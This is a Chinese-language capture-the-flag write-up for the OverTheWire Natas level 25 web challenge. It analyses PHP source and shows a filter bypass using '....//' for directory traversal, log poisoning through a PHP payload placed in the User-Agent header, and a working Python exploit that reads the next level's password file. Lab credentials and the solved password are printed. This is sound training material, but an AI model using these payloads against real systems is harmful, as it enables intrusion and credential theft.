Overthewire level 25 to level 26
進入頁面發現它輸出了很長一段内容,仔細一瞅全是廢話...但是它提供了一個選擇英文和德文的界面,可以選擇展示在首頁上的文本的語言。
<?php
// cheers and <3 to malvina
// - morla
function setLanguage(){
/* language setup */
if(array_key_exists("lang",$_REQUEST))
if(safeinclude("language/" . $_REQUEST["lang"] ))
return 1;
safeinclude("language/en");
}
function safeinclude($filename){
// check for directory traversal
if(strstr($filename,"../")){
logRequest("Directory traversal attempt! fixing request.");
$filename=str_replace("../","",$filename);
}
// dont let ppl steal our passwords
if(strstr($filename,"natas_webpass")){
logRequest("Illegal file access detected! Aborting!");
exit(-1);
}
// add more checks...
if (file_exists($filename)) {
include($filename);
return 1;
}
return 0;
}
function listFiles($path){
$listoffiles=array();
if ($handle = opendir($path))
while (false !== ($file = readdir($handle)))
if ($file != "." && $file != "..")
$listoffiles[]=$file;
closedir($handle);
return $listoffiles;
}
function logRequest($message){
$log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
}
?>
通過分析源代碼,我們發現它用了一個自定義的
safeinclude
的函數來讀取檔案裡的内容。
這個自定義的
safeinclude
函數定制了兩個過濾路徑的辦法。
-
strstr($filename,"../")
-
strstr($filename,"natas_webpass")
兩個函數的過濾等級不一樣,第一個隻是将路徑裡面的
../
替換成空,而第二個則是直接退出程式。是以我們可以觸發一下第一個過濾的檢測機制。
像字元串替換這種機制其實是很好繞過的, 比如說我們用
....//
,觸發它的檢測後字元串就會被替換成
../
,就達到了我們自定義路徑的目的。
function setLanguage(){
/* language setup */
if(array_key_exists("lang",$_REQUEST))
if(safeinclude("language/" . $_REQUEST["lang"] ))
return 1;
safeinclude("language/en");
}
從
setLanguage()
可以判斷出
en
、
de
這兩個檔案在
language
路徑下,我們可以試試之前的路徑替換是否生效。
請求
http://natas25.natas.labs.overthewire.org/?lang=....//language/de
, 發現它正常顯示出了德文文本而不是預設的英文文本,是以判斷這個路徑滲透成功了。但是由于第二個過濾機制,我們不能直接從
/etc/natas_webpass/natas26
中讀取密碼,是以我們要想辦法把它的内容提取到另外一個檔案中。
網頁的源碼還提供了一些其它的函數
function logRequest($message){
$log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
}
這個log函數讀取
$message
的内容,并且沒有經過檢測就直接将
HTTP_USER_AGENT
的内容拼接到log裡面去,是以我們可以把它作為一個注入點,寫入我們自定義的代碼,并且結合之前的
safeinclude
漏洞可以讓我們讀取這個檔案的内容。
是以我們可以大概确定進攻思路為
- 利用
将密碼讀取到日志中logRequest
- 将該日志展示出來。
我們先看看現在的log内容
http://natas25.natas.labs.overthewire.org/index.php?lang=....//logs/natas25_6siv6f15h81cpc3t44fi08eha5.log
[29.05.2021 11::28:40] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::44:47] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::45:09] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::45:29] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::49:57] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request."
Notice: Undefined variable: __GREETING in /var/www/natas/natas25/index.php on line 80
Notice: Undefined variable: __MSG in /var/www/natas/natas25/index.php on line 81
Notice: Undefined variable: __FOOTER in /var/www/natas/natas25/index.php on line 82
這是
include(../logs/natas25_natas25_6siv6f15h81cpc3t44fi08eha5.log)
之後的内容,由于include在讀取php檔案時會進行預處理,結合這裡log檔案中的
UNdefined variable: __GREETING...
可以判斷出,展示出來的首頁需要有三個變量
__GREETING, __MSG, __FOOTER
, 我們隻需要将密碼設定在這三個變量中的一個即可。攻進攻代碼如下
import requests
auth = ('natas25', 'GHF6X7YwACaYYssHVY05cFq83hRktl4c')
resp = requests.get('http://natas25.natas.labs.overthewire.org', auth=auth)
sid = resp.cookies['PHPSESSID']
resp = requests.get(f'http://natas25.natas.labs.overthewire.org/?lang=....//logs/natas25_{sid}.log',
auth=auth,
headers={
'User-Agent': "<?php global $__MSG;$__MSG=file_get_contents('/etc/natas_webpass/natas26'); ?>"},
cookies={'PHPSESSID': sid})
print(resp.text)
第26關的密碼為oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T